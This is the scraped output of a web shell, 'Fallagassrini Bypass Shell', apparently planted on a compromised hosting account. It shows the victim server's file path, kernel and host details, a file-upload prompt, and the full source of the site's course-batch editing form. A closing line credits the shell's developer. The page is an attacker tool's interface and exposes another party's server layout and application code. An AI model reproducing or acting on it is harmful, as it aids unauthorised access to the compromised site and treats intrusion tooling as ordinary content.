? Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home1/savoy/public_html/savoyglobal.net/sec/application/views/master/

Linux gator3171.hostgator.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
Upload File :
Current File : /home1/savoy/public_html/savoyglobal.net/sec/application/views/master/edit_batch.php

<?php
if (!defined('BASEPATH'))
    exit('No direct script access allowed');
$this->load->view('documentreadyfunctions');
?>

<div class="row-fluid">
    <div class="tab-pane " id="tab_2">
        <div class="portlet box blue">
            <div class="portlet-title">
                <div class="caption"><i class="icon-reorder"></i>Updating Batch Details</div>
                <div class="tools">
                    <a href="#" onclick="viewdata('master','viewinmastersearch','search_batch','view_batch','<?= $_SESSION['pagenum']; ?>')" class="remove"></a>
                </div>
            </div>
            <div class="portlet-body form">
                <!-- BEGIN FORM-->
                <?php
                $attributes = array('id' => 'validateform', 'class' => 'form-horizontal validate');
                $teacher = $this->mastermodel->get_data('employee', '1', 'employee_teacher');
                $course = $this->mastermodel->get_data_srow('course', $viewinfo->course_id, 'course_id');
                echo form_open('master/addinmaster/update_batch/view_batch/1', $attributes);
                $start_time = explode(":", $viewinfo->start_time);
                $end_time = explode(":", $viewinfo->end_time);
                ?>
                <h3 class="form-section">Batch Details</h3>

                
                                <div class="row-fluid">
                                    <div class="span6 ">
                                    <div class="control-group">
                                        <label class="control-label">Course </label>
                                        <div class="controls">
                                            <span class="text bold"> <?= $course->course_name ?> </span>
                                        </div>
                                    </div>
                                    </div>
                                    <div class="span6 ">
                                    <div class="control-group" id="detail1">
                                        <label class="control-label">Course Code</label>
                                        <div class="controls">
                                            <div  id="course_code" ><span class="text bold"> <?= $course->course_code ?></span></div>
<!--                                            <input name="course_code" id="course_code" type="text" class=" m-wrap span12" readonly />-->
                                        </div>
                                    </div>
                                    </div>
                                </div>
                                <div class="row-fluid">
                                    <div class="span6 ">
                                    <div class="control-group" id="detail1">
                                        <label class="control-label">Batch Code</label>
                                        <div class="controls">
                                            <input name="batch_no" id="batch_no" type="text" readonly class=" m-wrap span12" value="<?= $viewinfo->batch_no ?>"/>
                                        </div>
                                    </div>
                                    </div>
                                    <div class="span6 ">
                                    <div class="control-group">
                                        <label class="control-label">Start date</label>
                                        <div class="controls">
                                            <input type="text" value="<?= $this->mastermodel->convertdatenormalformat($viewinfo->start_date) ?>" class="calfocus m-wrap span12" name="start_date" id="date1"/>
                                        </div>
                                    </div>
                                    </div>
                                </div>
                                <div class="row-fluid">
                                    <div class="span6 ">
                                    <div class="control-group">
                                        <label class="control-label">Class Start Time</label>
                                        <div class="controls">
                                            <?php echo createHours('start_time_hour', $start_time[0]); ?>
                                            <?php echo createMinutes('start_time_minute', $start_time[1]); ?>
                                        </div>
                                    </div>
                                    </div>
                                    <div class="span6 ">
                                    <div class="control-group">
                                        <label class="control-label">Class End Time</label>
                                        <div class="controls">
                                            <?php echo createHours('end_time_hour', $end_time[0]); ?>
                                            <?php echo createMinutes('end_time_minute', $end_time[1]); ?>
                                        </div>
                                    </div>
                                    </div>
                                </div>
                                <div class="row-fluid">
                                     <div class="span6 ">
                                    <div class="control-group">
                                        <label class="control-label">Classroom</label>
                                        <div class="controls">
                                            <select name="batch_class_id"  id="batch_class_id" class="required chosen span12">  
                                                <option value="">--Select--</option>
                                                <?php
                                                $class = $this->mastermodel->getdatas('class', 'class_id');
                                                foreach ($class as $list)
                                                {
                                                    ?>
                                                    <option value="<?= $list['class_id']; ?>" <?php if ($viewinfo->batch_class_id == $list['class_id'])
                                                {
                                                    echo "selected";
                                                } ?> ><?= $list['class_name']; ?></option>
                                                    <?php
                                                }
                                                ?>
                                            </select> 
                                        </div>
                                    </div>
                                         </div>
                                </div>
                          

                <h3 class="form-section">Teacher Details</h3>
                                  <div class="row-fluid">
                    <div class="span12">
                        <div class="row-fluid">
                            <div class="control-group">
                                        <table class="table table-striped table-hover table-bordered" id="sample_3" style="background-color: white;">
                                            <tr>
                                                <th>Teacher Name</th>
                                                <th>WEF Date</th>
                                                <th><input type="button" id="button2" value="Add More" class="addRow" title="Add Row" style="width:75px;"/></th>
                                            </tr>
                                            <?php
                                            $batch_teacher = $this->mastermodel->get_data('batch_teacher', $viewinfo->batch_id, 'batch_id');
                                            foreach ($batch_teacher as $row)
                                            {
                                                ?>
                                                <tr>

                                                    <td> 
                                                        <select name="teacher_id" id="teacher_id" class="required chosen span12"  >
                                                            <option value=''>Select</option>
                                                            <?php
                                                            foreach ($teacher as $list)
                                                            {
                                                                ?>
                                                                <option value="<?= $list['employee_id'] ?>"<?php if ($list['employee_id'] == $row['teacher_id'])
                                                        {
                                                            echo "selected";
                                                        } ?>><?= $list['employee_name'] ?></option>
                                                            <?php
                                                        }
                                                        ?>
                                                        </select>
                                                    </td>
                                                    <td>
                                                        <input id="teacher_date" name="teacher_date" value="<?= $this->mastermodel->convertdatenormalformat($row['teacher_date']); ?>"  type="text" class="calfocus medium"/>  
                                                    </td>

                                                    <td>
                                                        <img style="float: right; vertical-align: top;"src="<?= base_url() ?>assets/img/close.png" alt="Delete Row" class="delRow clickimage" title="Delete Row"/>
                                                    </td>
                                                </tr>
                                                    <?php
                                                }
                                                ?>
                                            <tr>

                                                <td> 
                                                    <select name="teacher_id" id="teacher_id" class="required chosen span12"  >
                                                        <option value=''>Select</option>
                                                        <?php
                                                        foreach ($teacher as $list)
                                                        {
                                                            ?>
                                                            <option value="<?= $list['employee_id'] ?>"><?= $list['employee_name'] ?></option>
                                                            <?php
                                                        }
                                                        ?>
                                                    </select>
                                                </td>
                                                <td>
                                                    <input id="teacher_date" name="teacher_date" value="<?= date('d-m-Y'); ?>"  type="text" class="calfocus medium"/>  
                                                </td>

                                                <td>
                                                    <img style="float: right; vertical-align: top;"src="<?= base_url() ?>assets/img/close.png" alt="Delete Row" class="delRow clickimage" title="Delete Row"/>
                                                </td>
                                            </tr>
                                        </table>
                                    </div>
                                </div>

                            </div>
                        </div>
                   


                <div class="form-actions">
                    <input type="hidden" name="tab_name" value="batch"/>
                    <input type="hidden" name="resfunction" value="search_batch"/>
                    <input type="hidden" name="batch_id" value="<?= $viewinfo->batch_id; ?>"/>
                    <button type="submit" onclick="addformdata('validateform')" class="btn blue"><i class="icon-ok"></i> Save</button>
                    <button type="button" onclick="viewdata('master','viewinmastersearch','search_batch','view_batch','<?= $_SESSION['pagenum']; ?>')" class="btn">Cancel</button>
                </div>
<?php
echo form_close();
?>
                <!-- END FORM-->                
            </div>
        </div>
    </div>
</div>




bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net